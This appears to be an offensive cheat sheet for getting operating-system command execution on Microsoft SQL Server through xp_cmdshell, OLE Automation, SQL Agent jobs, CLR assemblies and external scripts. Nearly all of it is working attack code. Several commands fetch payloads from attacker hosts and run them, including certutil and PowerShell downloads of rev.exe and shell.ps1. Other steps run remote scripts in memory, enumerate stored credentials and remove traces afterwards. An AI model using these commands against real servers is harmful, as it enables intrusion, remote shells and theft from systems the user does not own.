MSSQL command execution is usually reached through xp_cmdshell, OLE Automation, SQL Agent jobs, CLR assemblies, or external scripts.
All OS execution should be immediately followed by:
whoami
hostname
The command runs as the SQL Server service account, SQL Agent service account, proxy credential, or external runtime account depending on the technique.
xp_cmdshell
Use when xp_cmdshell is enabled or we are sysadmin and can enable it.
Check:
SELECT name, value_in_use
FROM sys.configurations
WHERE name='xp_cmdshell';
Enable:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Execute:
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'ipconfig /all';
Payload delivery:
EXEC xp_cmdshell 'powershell -w hidden -c "iwr http://ATTACKER/p.exe -o C:\Windows\Temp\p.exe"';
EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER/p.exe C:\Windows\Temp\p.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\p.exe';
sqlcmd one-liner:
sqlcmd -S 10.10.10.5 -U sa -P pass -Q "EXEC xp_cmdshell 'whoami';"
OLE Automation Procedures
OLE Automation lets SQL Server interact with COM objects.
Use when OLE Automation is enabled or can be enabled as sysadmin.
Check:
SELECT name, value_in_use
FROM sys.configurations
WHERE name='Ole Automation Procedures';
Enable:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
Command execution:
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';
File write:
DECLARE @OLE INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXEC sp_OAMethod @OLE, 'CreateTextFile', NULL, 'C:\pwned.txt', 1;
Command execution with hidden window and wait:
DECLARE @sh INT, @ret INT;
EXEC sp_OACreate 'WScript.Shell', @sh OUT;
EXEC sp_OAMethod @sh, 'Run', @ret OUT, 'cmd.exe /c whoami > C:\ole.txt', 0, TRUE;
Make directory:
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c mkdir C:\tmp';
Stage binary:
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'certutil -urlcache -f -split http://10.10.15.219:9999/rev.exe C:\tmp\rev.exe';
Execute staged binary:
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'C:\tmp\rev.exe';
PowerShell in-memory workflow:
echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.15.219:9999/shell.ps1")' > command.txt
iconv -f utf-8 -t utf-16le command.txt > conv.txt
cat conv.txt | base64 -w0
Execute encoded PowerShell:
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'powershell -e BASE64_BLOB';
SQL Agent Jobs
Use for job-based RCE when xp_cmdshell is disabled and SQL Agent is available.
Jobs are comparable to scheduled tasks. CmdExec and PowerShell job steps can execute OS commands.
Full PowerShell job:
USE msdb;
GO
EXEC sp_add_job
@job_name = N'Malicious Job';
GO
EXEC sp_add_jobstep
@job_name = N'Malicious Job',
@step_name = N'Execute PowerShell Script',
@subsystem = N'PowerShell',
@command = N'(New-Object Net.WebClient).DownloadString("http://10.10.14.104/a")|IEX;',
@retry_attempts = 5,
@retry_interval = 5;
GO
EXEC sp_add_jobserver
@job_name = N'Malicious Job';
GO
EXEC sp_start_job
@job_name = N'Malicious Job';
GO
One-liner job:
EXEC msdb.dbo.sp_add_job @job_name='poc_job';
EXEC msdb.dbo.sp_add_jobstep @job_name='poc_job', @step_name='poc', @subsystem='CMDEXEC', @command='cmd /c whoami > C:\agent.txt';
EXEC msdb.dbo.sp_add_jobserver @job_name='poc_job';
EXEC msdb.dbo.sp_start_job @job_name='poc_job';
Enumerate Agent credentials, proxies, and jobs:
SELECT * FROM msdb.dbo.syscredentials;
SELECT p.proxy_id, p.name, c.name
FROM msdb.dbo.sysproxies p
LEFT JOIN msdb.dbo.syscredentials c ON p.credential_id=c.credential_id;
SELECT j.job_id, j.name, s.step_id, s.subsystem, s.command
FROM msdb.dbo.sysjobs j
JOIN msdb.dbo.sysjobsteps s ON j.job_id=s.job_id;
Cleanup:
EXEC msdb.dbo.sp_delete_job @job_name='poc_job';
EXEC msdb.dbo.sp_delete_job @job_name='Malicious Job';
CLR RCE
Use when CLR is enabled, unsafe assemblies are permitted, or TRUSTWORTHY database escalation applies.
Check:
SELECT name, value_in_use
FROM sys.configurations
WHERE name='clr enabled';
C# assembly:
using System;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
public class CLRExec {
[SqlProcedure]
public static void RunCmd(SqlString cmd) {
System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
}
Compile:
csc.exe /target:library /out:C:\CLRExec.dll C:\CLRExec.cs
Import and execute:
CREATE ASSEMBLY myexec FROM 'C:\CLRExec.dll' WITH PERMISSION_SET=UNSAFE;
CREATE PROCEDURE sp_cmd @cmd NVARCHAR(MAX) AS EXTERNAL NAME myexec.[CLRExec].RunCmd;
EXEC sp_cmd 'whoami';
Cleanup:
DROP PROCEDURE IF EXISTS dbo.sp_cmd;
DROP ASSEMBLY IF EXISTS myexec;
External Scripts
Use when external scripts are enabled and Python/R runtimes are installed.
Check:
SELECT name, value_in_use
FROM sys.configurations
WHERE name='external scripts enabled';
Python command execution:
EXEC sp_execute_external_script
@language=N'Python',
@script=N'import os;print(os.popen("whoami").read())';
External script execution depends on installed runtime, launchpad service configuration, and permissions.